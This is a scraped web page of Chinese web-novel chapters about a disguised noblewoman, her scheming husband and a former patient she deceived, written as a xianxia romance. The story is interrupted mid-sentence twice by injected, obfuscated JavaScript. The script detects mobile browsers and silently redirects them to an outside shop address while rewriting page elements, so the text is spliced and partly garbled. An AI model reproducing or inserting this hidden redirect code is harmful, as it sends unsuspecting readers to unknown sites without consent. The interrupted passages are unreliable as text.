《如何摆脱黑化反派》 3. 春拂梨花故人来 姒芙脑子霎时乱成了浆糊。 当年她对着寂无寐谎话连篇,一堆鬼话里,怎么就不记得有这回事? 寂无寐仍盯着她,目光平平静静,可姒芙莫名感觉到了危险。 她一个醒神,解释的话福至心灵,忙道:“我背着家族婚约,当年在冒儿山也是为了躲避婚约,我……并不愿成婚的。”随即期期艾艾委屈道:“姒家强势,又怎会在乎我的意愿?我……我也曾反抗过,可他们执意让我联姻,将我硬生生绑上了婚车。你也知道,我这个人修为不济,便是拼死抵抗也无用。” “原是受家族逼迫。”他神色一瞬间柔软,轻声叹息,似遗憾又似无奈。 姒芙见状赶忙连连点头,噙着泪望向他的模样,着实有几分可怜。 他微微凑近,静静凝视着她,“所以……你是姒家长女姒芙,并非散修阿芙。”不是疑问,而是陈述。 姒芙正哭得入戏,没仔细分辨他话中语气,还在自顾解释着,“在外游历,难免需要隐藏身份,我并非有意欺瞒你。” “这样啊,所以我寻了两年没有线索,原来是我找错了方向,只因阿芙骗了我。” 不是质问,却比质问更令人害怕。 姒芙哭声一滞,眼前这张脸越靠越近,可从他眼中感受不到丝毫旖旎暧昧,平静寻常的目光,更令她心中惴惴,立马道:“我……我一直没找到机会告知你真相,怕你……”眼儿一转,忽而哀戚起来:“我怕你嫌弃我。” 不待寂无寐开口,姒芙哭得真真切切,自艾自怨,“中州谁人不知,声名显赫的姒家天才成了个修为尽失的废物,受尽白眼,以前人人提起‘姒芙’这个名字,都是赞誉有加,可自我没了修为以后,世人再看我,好心些的唏嘘感慨,坏一些的便是冷嘲热讽,眼里可有半分当我是个正经修士?我一生顺遂,自命清高,何曾经历过如此挫折,又怎忍受得住?” 话里真真假假,遭遇是真,自怨是假,可她就怕说得不够火候,末了还问一句:“寂无寐,你能体会我的心情吗?” 眼泪要擦不擦的,模样甚是我见犹怜。 眼下传来一片温热,柔软的指尖缓缓拂去她的泪水,再一抬眼,寂无寐神色和煦,似有疼惜:“姒芙,莫哭。” 他如此一说,姒芙眼泪掉的更凶了,头顶传来一身轻叹,他坐起身,将人轻轻柔柔一抱,拍着她的脊背,柔声哄道:“你我好不容易重逢,便将你吓成这样,是我不对。你这一哭倒叫我手足无措,别哭了,可好?” 姒芙将眼泪一股脑擦在他华贵的衣料上。 不哭怎么行,不哭怎么糊弄得过去? 她怕啊,她怕寂无寐啊! 身前这个人虽然好骗,相处三年,他对她向来有求必应,可她却从未看清过他。 再说了,他出现得未免太过突然,是阴差阳错还是有意为之?一切怎么就这么凑巧? 姒芙边哭边想着对策,心里转过无数的道道,借着拥抱的姿势手贴上他胸膛挪向衣襟,小指尖已触上藏在衣襟内的塑月一角,紧抱着她的人忽而贴在耳边,意味不明道了一句:“姒芙,当年用在我身上的那些疗伤手段,你对自己试过吗?” 姒芙心口猛然一缩,抬头看向他,他笑容晏晏,目光澄澈,好似只是随口一问。 姒芙灵光的脑袋顿时停滞,他这是什么意思?囫囵应付道:“试过,可修者体质各异,于你有用的,对我却无效……” 她怎么忘了这一出!当年她骗寂无寐是个与修炼无缘的散修,揣了家中族产避世冒儿山,而今寂无寐知晓了她的身份,会不会有所怀疑? 忽而院中响起一声冲天高喝,“你们在做什么!?” 姒芙被吼得一个激灵,回头一瞧,就见外出归来的陆之轩正站在院门口,怒气冲冲瞪着她们。 姒芙此时才发觉人还窝在寂无寐怀里,他圈着她,额头几乎紧密相贴,姒芙下意识将人一推,弹起身,陆之轩已两步奔来,指着她诘问:“你怎么会在这里?你们……你们这是在做什么?” 姒芙面色一整,唬人的话想也不想脱口而出,“不小心摔着了,这位郎君扶了妾身一把。” 悠悠然起身的寂无寐一顿,他望着姒芙,平静坐回竹躺椅。 姒芙顿时如芒在背。 方才她二人举止……是有些亲昵,但也不是不能糊弄。 “扶一把?扶到他人怀里?这便是你的扶一把?”陆之轩狠狠攥住她的手腕,眼神似刀子,要剜了她一般。 姒芙甩手挣开,又气又闷,她一个下山捉奸的,怎么莫名其妙就成了被捉奸的那一个? “夫君以为是什么?莫非妾身有胆子招惹夫君的人?” 陆之轩一噎,“可若是摔了一跤,怎么会抱一起,你莫不是……” 姒芙无奈笑道:“夫君,这是你的院子,这位是你的……贵客,我向来不管夫君之事,你这怀疑好没道理。” 陆之轩还待质问,突然瞥见寂无寐怀中露出半块月牙形玉石,瞬间醒悟过来什么,脸上闪过一丝被捉现行的尴尬,很快又恢复那混不吝的模样,“你有没有胆子我不知,但你故意接近寂公子,是想趁机偷回塑月?” 姒芙赶忙顺着转移话题:“偷?夫君怎把我想得如此不堪,妾身是因为婆母听见风声,派我来……看一看情况,顺道再看看塑月是否被带来此处。” 陆之轩不信,气道:“你从来不管我,怎么可能母亲吩咐一句你就下山,”他指着寂无寐缓缓掏出的塑月,笃定道:“你就是为塑月来的!” 一说到此事姒芙就来气,加之陆之轩这不饶人的态度,更让人生气,于是板起脸问:“你不告而取是为偷,偷了我的东西,怎还如此理直气壮?” 陆之轩顿时红了脸,很快仰着脖子反驳道:“不过是借你东西一用,事态紧急,待塑月为寂公子将养好身子我便还回来,你也不必如此大张旗鼓下山。”他看了一眼寂无寐,随即又义正言辞道:“你有什么手段冲我来,不要为难寂公子。” 那回护之意,张扬又大义凛然。 姒芙还想再论,却听身侧的寂无寐突然捂着嘴咳了起来,陆之轩如临大敌,方才那愤怒的脸色陡然一转,变得温驯亲切,他轻拍着寂无寐背脊,声音柔得能化水,“寂公子,可是被吓着了?你还未大好,怎么独自在院子里吹冷风?” 寂无寐咳声一顿,不着痕迹避开陆之轩的手,“屋内无聊,便想着出来赏花。” “赏花?赏花好,我这宅子景色不错,你多看看心情也好。”寂无寐说什么,陆之轩便应什么,与方才大叫大骂的无赖判若两人,简直叫人没眼看。 陆之轩说着要脱下外袍披在他身上,寂无寐却在此时抬眼看向姒芙,话却是对陆之轩说的,“你偷拿了芙儿的东西,怎能再怪罪她?于理不合。”说着就要将塑月递还给姒芙。 姒芙手伸了半道,又眼睁睁看着陆之轩一把摁回寂无寐手中的塑月,姒芙见他掌心轻覆在寂无寐手背,若有似无地流连了两番。 陆之轩无视姒芙,硬声道:“塑月如今对你有用,你体内还残留着妖气,最需要塑月排除杂质,此事你莫管。” 寂无寐为难道:“可是芙儿……” “不用理她,我会处理。”突然陆之轩好似反应过来什么,皱眉看向寂无寐,“芙儿?你与姒芙认识?” 姒芙心口一凛,断然道:“不认识。” 两人目光皆向她射来,姒芙立马换了个脸色,紧捏着帕子,无所适从道:“母命难为,妾身今日是第一次见到寂公子,好在寂公子为人和善,不小心与寂公子多聊了两句,且还未计较芙儿的唐突之举。” 话说一半便看向寂无寐,寂无寐回视她,似有所悟,嘴角缓缓勾起,笑容温柔如初。 却瞧着有些不大对劲。 然而仅仅一个瞬间,他又垂下眼,面色藏在阴影中,片刻才跟着念了一句:“我与……姒家小姐今日相见,相谈甚欢,不小心就喊得亲近了一些,是寂某失礼了。” 见他有几分索然无味,陆之轩脑子抛到了云天外,赶忙安慰:“是我太过繁忙,忽略了寂公子,把你独自冷落在这。往后你若是无聊,我多陪你赏花饮茶便是。” 寂无寐未应,捂嘴又咳了两声,一个弱不禁风病美人的虚弱之态,陆之轩极尽关切,又是柔声询问,又是轻拍顺气,“上下其手”。 这借着关心与人亲近的模样,姒芙都不忍心继续看下去。 寂无寐不耐烦陆之轩的过分关心,缓缓站起身,仿佛一瞬间抽干了精气神,背对着二人,“既然是误会,解释清楚便好,寂某忽感疲累先回房歇息了,二位请自便。” 话方落下,人踩着花浪就进了屋。姒芙眼睁睁看着他关上了房门,将两人隔绝在外。 姒芙想要讨回塑月的话,随着门扉“啪嗒”合上,硬生生给堵在了喉咙口。 那塑月,还攥在他手上呢! 陆之轩这个成事不足败事有余的家伙! “妾身的塑月……” 陆之轩又换回那副愤懑神色,厉声打断:“你真是多事!打扰寂公子养伤,赶紧给我滚回宗里去!” 真是恶人先告状!若不是陆之轩这个傻子,她早就趁机拿回了塑月。 眼见此番讨回塑月无果,姒芙转身就走。 陆之轩跟了上来,一路骂骂咧咧,指责姒芙多管闲事,言语碎得比树上鸣叫的一群小雀还烦人。 房门内,病弱的寂无寐百无聊赖靠在窗边,手中把玩着月牙型玉石,看着窗外两人渐行渐远的身影,缓缓贴在唇畔,原本黯然的脸上,一片玩味。 这厢,姒芙上了鹿车,陆之轩也跟了上来,他一路上念叨个没完,到了车上也不肯消停。 一会说她不懂事唐突了他人,一会又怪她小气,不过是借法宝一用,竟让她亲自跑下山讨要。 姒芙被他嗡嗡的话语吵得头昏脑涨,一捂帕子,好似受不住一般,哭哭啼啼起来,等到陆之轩说累了,才抽泣道:“陆之轩,你要什么我都可以给你,唯独塑月不行!” “为何塑月不行?那东西对你无用,你为什么藏着不肯借我?” 姒芙拿着鸡毛当令箭:“你娘亲让我用塑月养身子,况且她已经盯上这处,你若是将塑月拿回来,我还能为你遮掩一二,如若你执意不肯,待你娘亲出手,夫君又如何护得住这位‘好友’?” 陆之轩愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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寂无寐本就有旧疾,羸弱的身子伤上加伤,陆之轩说要报答他的救命之恩,要为他养伤,于是将人送到此处。 谁知住下不过半月,城中竟将他传成了陆之轩新收的外室。 听闻是一场误会,姒芙心却吊在半空中,一切……是不是有些太过凑巧了?怎就偏偏碰上的是陆之轩,她的夫君? 姒芙眉眼不抬,羡慕道:“夫君待恩人真是尽心尽力,原来是他人误会了夫君与寂公子的关系,寂公子有夫君这名奔走之友,真是幸运。” “自……自然,救命之恩自当倾力相报。”陆之轩言之凿凿,可姒芙没错过他眼底一闪而过的算计。 是了,寂无寐那清雅出尘的模样,跟他南风馆那帮烟视媚行的小相好可不一样,如今被陆之轩撞上,怎可能轻易放手? 麻烦,这两人碰在一起,只怕会惹来不少麻烦。 回想起方才别院一遭,姒芙有些头疼。 她骗寂无寐,可不只是今儿这一回了,抑或说,她与寂无寐相处三年有余,就没有几句真话…… 当年她在妖界无意中见到只剩一口气寂无寐,彼时他经脉尽断,修为尽毁,与没了修为的她如出一辙。 那会她废掉的修为,药石罔顾,是真的无力回天。 于是她将他从尸堆里刨了出来,带去暂避的冒儿山。她骗他是个散修,为他疗伤治病,实则是在他身上研究经脉恢复之法。 身为曾经中州闻名遐迩的器阵双修天才,所研制的阵中器将威力最强的阵与器相结合,把即将被挤出四大世家之列的姒家重新拉回云巅,然而她这个大功臣一朝跌入泥潭,受尽冷嘲热讽。世态炎凉,人情冷暖不过如此,姒芙并没有多加怨怼。 她的天才之名从不是虚名,除开一双笨手画不准符箓,于是在寂无寐身上,阵、器、丹全结合在一起,为他续接经脉。 治病的过程极其痛苦,痛苦的是寂无寐,为了不惹寂无寐怀疑,她悉心照顾,又哄又骗,身上所有的物资不要钱似的往他身上砸,他才信了她那堆鬼话。 好在日益有了起色。 当时给寂无寐所用的器,便是塑月。 姒芙霎时醍醐灌顶,难怪寂无寐见到她没有太过惊讶,原来早在陆之轩送去塑月时,他就猜到了她的身份! 塑月是她娘亲云罗夫人的嫁妆,娘亲与父亲和离时留给了她,本身只对凡人有效,可经她不断改造后,塑月渐渐可被修士所用。 姒芙顿时有些坐立不安。 当年她对他别有用心,极尽哄骗,掩饰的很好,可是两年已过,如今呢?寂无寐突然出现,出现得这么凑巧,他有没有猜到她那些小心思?又咂摸出多少? 况且,冒儿山那三年经历,姒芙不愿被他人知晓,否则不会对寂无寐隐瞒身份…… 不行,她得想办法,早些把寂无寐送走。 寂无寐是个隐患,玄善门如今跟姒家交往甚密,不能将人留在他们眼皮子底下。 姒芙回想着冒儿山的经历,突然一段模糊的记忆从脑中飞过,把玩车窗穗子的手一抖,险些失态。 耳边陆之轩已经消停,靠着车座闭目养神,姒芙透过纱帘望向山间出双入对的飞鸟,惊骇回想起那段混乱的记忆。 她……好像真不小心答应过寂无寐的求亲。 4.春拂梨花故人来 那一夜,姒芙刚从山下归来,心情郁卒,手中提着为寂无寐治伤的药材,还有几坛烈酒。 高高的冒儿山上只住着他们二人,她垂着头,踩着月光,步履缓慢走向林中小茅屋。 彼时的寂无寐已能勉强下地,靠坐在小茅屋门边,赏着月色。 可那一夜浓云密布,有什么月亮可赏? 他这个人,看似温温润润一副好说话的样子,平日说什么便应什么,就是这有求必应的模样,姒芙总捉摸不透他的真实心思。 就如这般,连等她归家都要藏着掖着。 加上他一双眼,情绪轻轻柔柔虚无缥缈,悬浮着惑人的欺骗性,常人见了总觉得安心。 许是被他病弱的表象所惑,向来不与他人交心的姒芙,鬼使神差的,拉着寂无寐喝起了酒。 主要是她饮酒,寂无寐当个听众。 她委实不擅长交心,待酒喝了三四坛才遮遮掩掩说到重点。 此番下山,她收到一个风声,她的亲生娘亲——云罗夫人又闹和离了。 算下来,这已经是她娘亲第三任夫婿,若是和离成功,以她娘亲的性格,只怕很快会补上第四任夫君。 她不怨她娘,娘亲并非他人口中水性杨花之人,并且当年她的亲爹不当人,在云罗夫人怀胎之时与人苟且。娘亲和离是好事。 可到嘴的话却是问寂无寐,都已经成了斩妖除魔的修士,有了绵长寿命,为何却要拘泥于婚姻? 当时她背着玄善门的婚约,对于成婚之事极其抗拒。 由着这份烦恼,她问:“家族联姻?绵延子嗣?所以就要被另外一名男子束缚住一生,从而放弃大道?” 全程都在开解她的寂无寐当时说了一句什么来着? 哦,是了。他说,有些人,未成婚,也会被另一人束缚住一生。 那是唯一一句让她更郁结难消之言。 她恨束缚。 于是她反问:“那你会被一人牵绊住吗?” 他眼眸在月光下好似闪过一片墨绿的光,神色柔和凝视着她,口中字字铿锵:“永远不会。” 她莫名的开心,因为寂无寐跟她是同道中人,又听寂无寐低声道:“可是阿芙,我已时日无多,不敢肖想此事。” 三年来,寂无寐承受着非人的痛苦,时而好时而坏,一次又一次的折磨好像磨灭了他的希望。 可姒芙不能不抱希望,他是她恢复的唯一寄托啊!借着酒劲,她板着脸道:“怎不敢想,待我治好你,便为你寻个妻。” 寂无寐好似笑了笑,问:“你要为我寻个什么样的女子?” 姒芙想了一轮,只觉世上没有比她更出色的天才,于是指着自己醉醺醺道:“像我一样优秀的人。” 由着她这句话,寂无寐今夜的笑容尤其多,姒芙心情好转,于是那酒又多饮了几坛,甚至忘了寂无寐身体未愈,借着酒劲还灌了他半坛。 谁知第二日醒来,两人同在一张榻上,衣衫凌乱。她吓得手足无措,又委实想不起当夜发生了什么,身边的寂无寐衣衫大敞,莹白的肌肤上缀满了引人遐想的痕迹,好似被人强硬凌虐过一番。 他面色潮红,眼波含水,像个破碎的琉璃。 她吓得起身就跑,却听寂无寐虚弱道:“阿芙,我体内经脉好似裂开了。” 她逃跑的脚步一顿,忙回身查看伤势,指尖搭在他的脉上,耳边寂无寐又道:“你昨夜喝的有些多。” 她心虚,含含糊糊应了一声。 “你力气有些大。” 她点头,她认。 “止疼的药用完了,我疼了整整一夜。” “好,我再熬一些。” “记得,别熬得太甜。” “好。” “姒芙,我会负责。” “好。” 她一怔,猛然看向寂无寐,那一句话极轻,轻得宛如风中飘荡的柳絮。 她以为自己听错了,却见他勾唇笑了笑,那笑容太深,她分辨不出笑中含义。 “你应了。” “应什么?你刚说了什么?”姒芙不敢置信,不确定自己是否真的听清。 而寂无寐却未回应,病痛直接让他陷入昏迷…… 前一秒寂无寐还信誓旦旦说永远不会为一人牵绊,后脚就说要娶她为妻?她不信,寂无寐不是这等朝令夕改的人。 所以她从未将那句话当回事,只当自己听错了。 可如今重逢,他再次提起,姒芙懵然不解。 当年他莫非还真想过要娶她? 姒芙顿时抓心挠肝得难受,冒儿山那三年,她对寂无寐的悉心照顾体贴入微都是别有用心,本就是虚情假意,如今还多了个“背信弃义”? 回想起这段荒诞往事,又联想别院中寂无寐那一声质问,她哪里还敢再见寂无寐,此番被陆之轩打断,寂无寐未跟她深究,可若再次见面呢?他抓着此事不放可如何是好?况且她现在是陆之轩的妻子…… 这塑月,她不能再亲自去取,得想其他办法。 一连五日,姒芙躲在玄善门里,绞尽脑汁想着该怎么拿回塑月,陆之轩已经跟她立了心魔誓,她不好再利用陆之轩,又不便明着讨要。早知如此,当时不答应他便好了,如今想找个能接近寂无寐的人都找不着。 姒芙倚窗望着萧条的春景正暗自苦恼,忽听院外一阵响动,一个眨眼,就见陆之轩风风火火地闯了进来。 见他那神情就知没有什么好事,姒芙伸手关窗,一柄折扇蓦地插了进来。 “姒芙。” 语调微扬,一听就是有求于她。姒芙只好将窗重新打开,柔声问:“夫君有何吩咐?” 陆之轩打量着她,似在看她全身上下有什么与众不同。片刻,听他缓缓开口:“当日我忘了问你,你在别院,与寂公子说了些什么啊?” 当日?当日陆之轩发现她跟寂无寐靠在一处,因为塑月忘了追究,都过了这么些天怎么突然又想起来了? “夫君怎会突然提起此事?”姒芙不知陆之轩抽什么风,只好先反问一句。 陆之轩将窗户开大一些,方便说话,“寂公子说,他那日不小心唐突了你,害你摔伤,想与你道歉。” 姒芙等着他的诘问,推脱之词都想好了,谁知陆之轩先听信了寂无寐的话。陆之轩又蹦出一句:“近日寂公子心情郁卒,伤势有复发的迹象,可我跟他说十句,他未必回我一句。我看寂公子好似对你印象不错,你不若帮我开解他一番?” 姒芙像看傻子似的看着陆之轩,寂无寐对他避之不及,多半是察觉到他的小心思,陆之轩这个蠢驴一样的脑袋,还妄想让她去帮忙安抚他的倾慕之人? 她是什么身份?若真去了,怎么死出来的都不知道! “夫君怕是多心了,妾身不善言辞,哪有那般能耐。”姒芙拒绝得很干脆。 “诶诶,别关窗,我只是让你跟他说说话,说不定寂公子心情一好,待我态度就变了呢?” 似料到她不肯配合,陆之轩又道:“城中明光楼近日新上了几道珍馐,我已知会母亲,亲自领你去尝一尝,你顺道再帮我开解寂公子一番,如何?” 陆之轩这个成事不足败事有余的家伙,竟然先斩后奏,跑到门主夫人面前求了母命! 可想门主夫人听到这番话会有多高兴,陆之轩从未约她游玩,只怕还以为陆之轩受人点拨转了性子。 他到底是真傻?还是故意的? 看着陆之轩得逞的笑容,姒芙忽然心中作警,他总不会自个儿咂摸出什么吧? 陆之轩态度强硬,若再三推拒,未免显得可疑。 想到此处,姒芙只能委委屈屈勉强道:“既是婆母之命,那妾身……只好从命。” 就这样,姒芙被陆之轩压上了鹿车。 领着自家夫人见外室,还拿娘亲做令箭,到底是什么样的绝世蠢货才能想出来这种昏招? 姒芙心中腹诽,脸上还要继续应付陆之轩的再次询问,囫囵道:“就过问了几句他是什么人,从何而来,为何会与你相识,再无其他。” “哦?”陆之轩凑了过来,“若如此简单,那为何他提及你时,言语间有遗憾又有赞赏?也只有提起你时,他才肯与我多说两句话。” 姒芙怔了怔,随即黯然道:“也许他也曾听过我的经历,有些感慨而已。” 陆之轩闻言,快锈蚀的脑子难得转了转,忽而一抚掌高兴道:“若是如此,那你更应该与寂公子多见见,你们聊的投机,往后他待我态度也能热络些。” 姒芙翻了一半的白眼蓦地停住,侧目认真看向陆之轩。 陆之轩笑得痴痴傻傻,看着她的目光仿佛她是一个稀奇的宝贝。姒芙默了默,随即捏着帕子往眼角上摁,悲愤道:“夫君真是无情又无心,竟提这等荒谬的要求。” 陆之轩笑得不为所动,嘴角都未颤一下,姒芙依旧在哭诉:“可怜妾身无依无靠,夫君有所求,妾身又怎能拒绝?” 一时间,车厢内哭的哭,笑的笑,互不干涉,气氛诡异得离谱。 然而这两个人好似毫无所觉,各自卖力扮演着自己的角色。 …… 马车停在别院门口,姒芙屁股黏在车座上,百般不愿,陆之轩也未动。 车外传来响动,陆之轩突然弹了起来,掀开车帘,就见寂无寐在门童搀扶下,颤颤巍巍上了鹿车。 陆之轩伸手去扶,在触碰上的那一刻,姒芙明显瞧见寂无寐顿了顿,可挂在嘴角的淡笑不见异样,姒芙甚至以为是自己看错了。 “姒姑娘,好久不见。” 他用的闺阁女子称呼,旁边的陆之轩毫不在意,一心搀扶着他,不知有意还是无意,寂无寐顺势坐在她身边。 陆之轩本想贴过去,无奈中间没有挤进来的位置。 寂无寐轻拍了下他的手臂,以示感谢,陆之轩瞬间像只得了甜头的小狗,高高兴兴坐回与他相对的座位。 姒芙微微颔首回应,“寂公子有礼。”脸上是世家之女标准的笑容,不过分亲切也不过分疏离,无懈可击。 鹿车再次启动,陆之轩看着对面寂无寐与姒芙并排而坐却默不作声,于是开口打破沉默,“寂公子,听小童儿禀报昨日你犯了旧疾,今日出门可否勉强?” 寂无寐清清淡淡笑答:“不勉强,已好了许多。”陆之轩放下心来,一时又不知该启什么话题,就听寂无寐难得又道了一句:“更何况少主与……少主夫人相邀,寂某怎能失约?” 姒芙浑身一僵,那“少主夫人”四个字怎么听怎么刺耳。 她忍住侧目打探的冲动,目不斜视平声回道:“寂公子无需多礼,一餐饭而已,寂公子若是想去,随时都可以,不急于这一日。” 耳边有人轻轻笑了一声,“那日不小心撞伤姒姑娘,是寂某的不是,寂某给姒姑娘赔个不是。” 他略略行了个礼,端的是知礼君子的礼数,手臂抬起双手抱拳,却从她整个左臂一路擦过,礼一毕,两人肩头已靠在一处。 灼热的温度漫过半边身子,车厢狭小避无可避,姒芙笑容几乎快维持不住,只好略一点头,当做收了他的赔礼。 一股清风自车帘缝隙而过,带来一阵混着甜药味的竹叶香,姒芙怔了一瞬,这曾是她最熟悉的味道。 见寂无寐果然话变多了,陆之轩顿时觉得自己安排得甚好,于是天南海北浑扯起来,寂无寐间或有意无意应上两声,陆之轩更来了劲。 姒芙只觉这两头拉车的白鹿忒慢了些,就不能换几匹像样的骏马吗?更何况寂无寐虽在端坐,随着车厢摇晃,他衣袂下的手肘有意无意触碰到她的,那轻若无物的温度,烧得她心头莫名的慌。 短短的路程,难熬得紧。 陆之轩又扯到临城出色的美酒,正要相邀时,马车一停,几人终于抵达明光楼。 一路呱噪的陆之轩收了声,率先跳下,伸手要扶寂无寐,突然姒芙忽觉手臂一暖,一侧头,寂无寐淡雅的笑映入眼帘,“少主夫人,请。” 他搀着姒芙,明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254830|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有礼有节的轻托之举,姒芙却觉得整个人好似都被他钳住一般。 她神色木然,在陆之轩困惑的目光下麻木地迈下鹿车。陆之轩的手还僵在半空中,寂无寐好似刚刚才发现他,歉然一笑:“是寂某疏忽,多谢陆公子体贴。” 好似只要寂无寐纡尊降贵跟陆之轩说话,无论说的是什么,陆之轩这个傻缺都不过脑,当即笑呵呵道:“举手之劳,举手之劳。” 姒芙在旁看得啧啧称奇,不知寂无寐是有心还是无意,四两拨千斤般轻易拿捏住她夫妻二人。思忖间,斜里突然插进一声阴阳怪气,打破三人诡异的气氛。 “哟,这不是玄善门少门主吗?” 姒芙循声望去,明光楼前站了几名华冠丽服的青年男子,声音自中间那人发出,似是这一众的领头之人。 姒芙觑了两眼,有些眼熟,直到陆之轩懒懒出声:“我道是谁,原来是张家小子。” 由着这一句话,姒芙认出此人身份。张家乃玄善门管辖地界里最有钱的凡人家族,而这个张家小子张皓在家中年岁最小,极得宠爱,且向来与陆之轩不对付,加上张家年年给玄善门上缴的供奉最多,私仇公仇,以至于两人一见面就势同水火。 听闻张皓年前得了大机缘,入了中州三大宗之一青冥宗某位修士的眼,年后便要入宗修行,得了天大的福运,他对陆之轩这个“废物”的鄙视只怕更加肆无忌惮。 果然,那张皓在陆之轩与寂无寐之间扫了两眼,下巴点着寂无寐,“这位公子眼生得紧,难道是陆少主新收的那名外室?的确长得……秀色可餐。” 此话一出,讥笑声一片,周围人听见热闹皆瞧了过来,陆之轩昏庸的大名如雷贯耳,发现他身边的寂无寐,顿时了然。 无数目光落在寂无寐身上,鄙夷的怜悯的嘲讽的,纷纷杂杂,没有一个是善意的。 姒芙忽觉身边袭来一阵冷意,侧眼一瞧,寂无寐依旧挂着温和的笑意,可手下扶着的车辕无声无息变了形。 陆之轩没有否认也没有解释,只拿眼觑着张皓,目露不屑。 张皓一转眼又瞧见后头的姒芙,蓦地大笑出声,“少门主真是好福气啊,竟然带着娇妻与外室同来明光楼饮酒,当真是艳福不浅!” 话毕,众人哈哈大笑起来。 陆之轩浑,且浑得厚颜无耻,对于张皓的嘲讽无动于衷,还反讥了一句:“若贤弟也羡慕这齐人之福,改日陆某物色几名美人,送去张府。”嫌不够似的,又恍然道:“唉呀,你爹近日新纳了两房妾室,那姿色在陆某看来实在乏善可陈,陆某怎能厚此薄彼?再送几名东陵的美人给张老爷,如此你们父子同乐,那才是真正的‘齐人之福’。” 张皓闻言脸色一变,怒道:“陆之轩!”张皓最恨的便是自己亲爹沉迷美色,家里一堆姬妾闹得家宅不宁,每每提起都觉得丢脸。他知道陆之轩是个没脸没皮的,谁想会言语无忌成这个样子! 口中吼着,卷着袖子就冲了过来,陆之轩抱臂而视,张皓若要跟他打,就他那点子修为,在他眼里都不够看。 “张少张少,莫要动手。”那张皓冲到半路被身后簇拥拦住,一个个死命相劝。 张皓与陆之轩向来是口角之争,因为打不过陆之轩,可又实在气不过。 平日里仗着张家每年上缴的奉银,张皓没少埋汰陆之轩,然而大部分交锋都处于下风,越是这样,他越是不甘。如今马上要入宗门修行,以为挂了个青冥宗弟子的身份,会有所忌惮,谁想陆之轩依旧不将他放在眼里。 他越想越气,瞥见他身后的姒芙,突然眼儿一眨语调一变,“姒姑娘,整个中州皆知这陆之轩最爱兔儿爷,你独守空闺两载,不若早些与他和离。”看向陆之轩,面露挑衅:“毕竟,我等正经男子,才会将你当成个真真正正的妻。” 话一出口,周围人顿悟语中的讽意,跟着哄笑起来。 陆之轩微一皱眉,有些不快,却没有为姒芙出头的打算。 这家伙,会出言维护寂无寐,可没拿姒芙当自己人。 姒芙原本在看戏,一听矛头莫名落在自己身上,看向张皓。 姒芙骤然想起来,她为何会对张皓这个人有印象了。每年年底大庆,玄善门境内所有缴纳上供的世家大族皆要来宗同贺,也就是去年,张皓跟他那快被掏空身子的老爹一同前来。 张皓与陆之轩倒是没在宴上闹出什么矛盾,只是宴中张皓饮多了酒,不知怎么在后院里撞见了她,借着酒劲言语轻佻举止轻狂,当时也是让她改嫁去他张家。 她没理会,直接派人将他丢了出去,“不小心”摔断了他两根肋骨。事后张家反而恶人先告状,婆母得知消息反而训斥她不安分,狐媚表相招惹外男觊觎。因着这句话,她跟婆母打了几日擂台,使计烧毁了一本上供的账册,累得婆母半个多月都没合眼。 事后,倒是把张家这个始作俑者给忘了。 姒芙眼睑一耷拉,半凝出一副我见犹怜的哀怨,质问陆之轩:“人都骑到你头上了,你就这般看着?” 陆之轩侧目看她,“那你想让我怎么做?上回你将人摔伤,我也受了一顿无妄之灾,被父亲好一通骂。” 张皓与陆之轩之间闹归闹,可张家作为玄善门最大的金主,陆之轩也不敢真拿他怎么样。 姒芙擦着眼角,置气般道:“夫君如此无情,袖手旁观,早知你是这种人,年底我还不如应了张小公子所求,改嫁于他。” 此话一出,张皓眼睛倏地一亮,“姒姑娘这是想通了?” 陆之轩一愣神,姒芙已经抹着泪向张皓走去,还不等陆之轩反应,就听见身后许久未吭声的寂无寐突然轻轻唤了一声:“姒芙,别冲动。” 话音还未落下,街上蓦地响起一声惨叫。 忽见方才还嚣张不止的张皓,突然捂着下身跪倒下来,脸上惨白如金纸。 而始作俑者,轻轻拍了拍裙角,居高临下睥睨着他。 “正妻?外室?口里没个遮拦,想娶我?先看你身上这一两肉够不够硬!” 5.春拂梨花故人来 教训完这个登徒子,姒芙转身就走。 陆之轩瞥了眼张皓,讥诮一笑,临走两步,张皓突然吼道:“我要去禀告门主!你们玄善门简直欺人太甚!如此悍妇竟不多加管束!” 陆之轩不耐烦“啧”了一声,想到张家每年缴纳的银钱,转身对张皓道:“你似乎忘了我这个摆设正妻,父族是姒家,母族是蔺家,四大家族占了两皆为实力最强的嫡系,你们张家真惹得起吗?” 张皓急欲待发的怒火一滞,终于反应过来陆之轩口中的姒家与蔺家在中州的显赫地位。 陆之轩讽笑一声,他是从不过问这个妻,可他一直没忘记姒芙背后有谁,姒芙再怎么没用,他再怎么不喜欢也从不敢真正招惹她,只有张皓这个蠢材才会被姒芙面善可欺的外表给迷惑。 到底是非正统的修仙家族,哪怕进了青冥宗脑子也没变灵光。 张皓还想再辩,陆之轩却懒得再听,抽身进了明光楼。 而那一直像摆设一样的陆之轩病弱外室,经过他身前时突然深深看了他一眼。 那轻飘飘的一眼,莫名压得他呼吸骤停,好半晌没喘上一口气。 他还在奇怪,忽然体内针扎一般刺痛,好似有千万根针扎进了血肉。他痛得满地打滚,泥土滚了满身满脸丑态并出,身旁狗腿子们见到这诡异的一幕,吓得扛起人就往医馆跑去。 姒芙一路进了雅间,一屁股坐在凳子上,猛灌两口茶水,陆之轩跟了进来,也不看她,只问:“想吃什么?” 姒芙冷哼一声,“在楼下装聋作瞎,现在跟我示什么好?” 陆之轩莫名笑了一声,“你也就这个时候才像个人样。” 